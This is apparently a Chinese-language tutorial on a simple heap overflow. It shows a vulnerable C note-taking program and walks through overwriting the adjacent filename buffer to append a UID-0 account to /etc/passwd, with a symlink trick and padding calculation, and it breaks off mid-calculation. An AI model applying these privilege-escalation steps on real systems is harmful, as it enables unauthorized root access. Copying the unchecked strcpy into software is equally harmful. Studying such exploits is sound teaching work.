一个简单的堆溢出

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漏洞代码

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>

void usage(char *prog_name, char *filename) {
   printf("Usage: %s <data to add to %s>\n", prog_name, filename);
   exit(0);
}

int main(int argc, char *argv[]) {
   int userid, fd; // file descriptor
   char *buffer, *datafile;

   buffer = (char *) malloc(100);
   datafile = (char *) malloc(20);
   strcpy(datafile, "/var/notes");

   if(argc < 2)                // If there aren't commandline arguments
      usage(argv[0], datafile); // display usage message and exit

   strcpy(buffer, argv[1]);  // copy into buffer

   printf("[DEBUG] buffer   @ %p: \'%s\'\n", buffer, buffer);
   printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

 // Opening the file
   fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
   if(fd == -1)
      printf("in main() while opening file");
   printf("[DEBUG] file descriptor is %d\n", fd);

   userid = getuid(); // get the real user ID

// Writing data
   if(write(fd, &userid, 4) == -1) // write user ID before note data
      printf("in main() while writing userid to file");
   write(fd, "\n", 1); // terminate line

   if(write(fd, buffer, strlen(buffer)) == -1) // write note
      printf("in main() while writing buffer to file");
   write(fd, "\n", 1); // terminate line

// Closing file
   if(close(fd) == -1)
      printf("in main() while closing file");

   printf("Note has been saved.\n");
   free(buffer);
   free(datafile);
}

简单分析

  • 这段代码程序中有两个buffer是存放在堆上面的，这个程序会接收一个参数，并将参数最终写入到/var/notes 这个文件中。
  • 如图所示我们可以计算出两个buffer地址之间的距离是0x70（即112个字节），我们知道第一个buffer是以null为结束的，当我们写入这个buffer长度为112个字节的时候，那么第二个buffer将会被写入到datafile这个buffer开始的部分。
  • 如我们所预期的，第二个buffer被我们写入了空.那么如果被覆盖的不是null，而是其他的呢？会是什么情况
  • 这次，溢出导致第一个buffer写入到了当前文件下的testfile文件中，而不再是/var/notes 这个文件中 ，可以看到当使用free释放内存的时候报错了，这个其实就类似于栈溢出覆盖了返回地址一样。

    漏洞利用

  • 从上面可以看出，文件名可以控制，而且可以append到文件中。这里可能会有几种利用的方式，其中最常见的利用方式就是写文件/etc/passwd，这个文件包含了系统的所有的用户名、ID、登录的shell等信息(对这个文件操作之前请注意先备份O！)
  • 这个文件是以分号分隔开的，依次是登录名、密码、用户ID、组ID，用户名、用户的根目录以及登录的shell，其中密码处可以是x(代表加密，存放在/etc/shadow文件中)，也可以直接是加密后的密文，此外用户id为0代表用户会是root的权限，这个时候我们的目标就是在这个文件中追加一条，一个带有密文且id为0的账号。
  • 关于密码加密我们可以使用下面的命令
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    xxx@ubuntu:~/Desktop/heapoverflow$ perl -e 'print crypt("M0rk", "AA"). "\n"'
    AAhmo1jgYI0HE

所以我们最终想要在passwd文件中的条目大概是这个样子的
myroot:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash

  • 然而，这个特殊的堆溢出并不允许我们直接这么操作，因为我们必须以/etc/passwd为结束，但是这个限制我们可以使用符号链接来”绕过”,”绕过”方法如下

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    xxx@ubuntu:~/Desktop/heapoverflow$ mkdir /tmp/etc
    xxx@ubuntu:~/Desktop/heapoverflow$ ln -s /bin/bash /tmp/etc/passwd
    xxx@ubuntu:~/Desktop/heapoverflow$ ls -l /tmp/etc/passwd
    lrwxrwxrwx 1 xxx xxx 9 Nov 16 20:56 /tmp/etc/passwd -> /bin/bash

  • 这个时候/tmp/etc/passwd指向了/bin/bash,这就意味着我们有了可登陆的shell，这个时候就变成了
    myroot:AAhmo1jgYI0HE:0:0:me:/root:/tmp/etc/passwd

  • 此外这里还需要计算一下me这里需要填充多长才能满足112个字节。
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    xxx@ubuntu:~/Desktop/heapoverflow$ echo "myroot:AAhmo1jgYI0HE:0:0::/root:/tmp" |wc -c
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    xxx@ubuntu:~/Desktop/heapoverflow$ bc
    bc 1.06.95
    Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
    This is free software with ABSOLUTELY NO WARRANTY.
    For details type `warranty'. 
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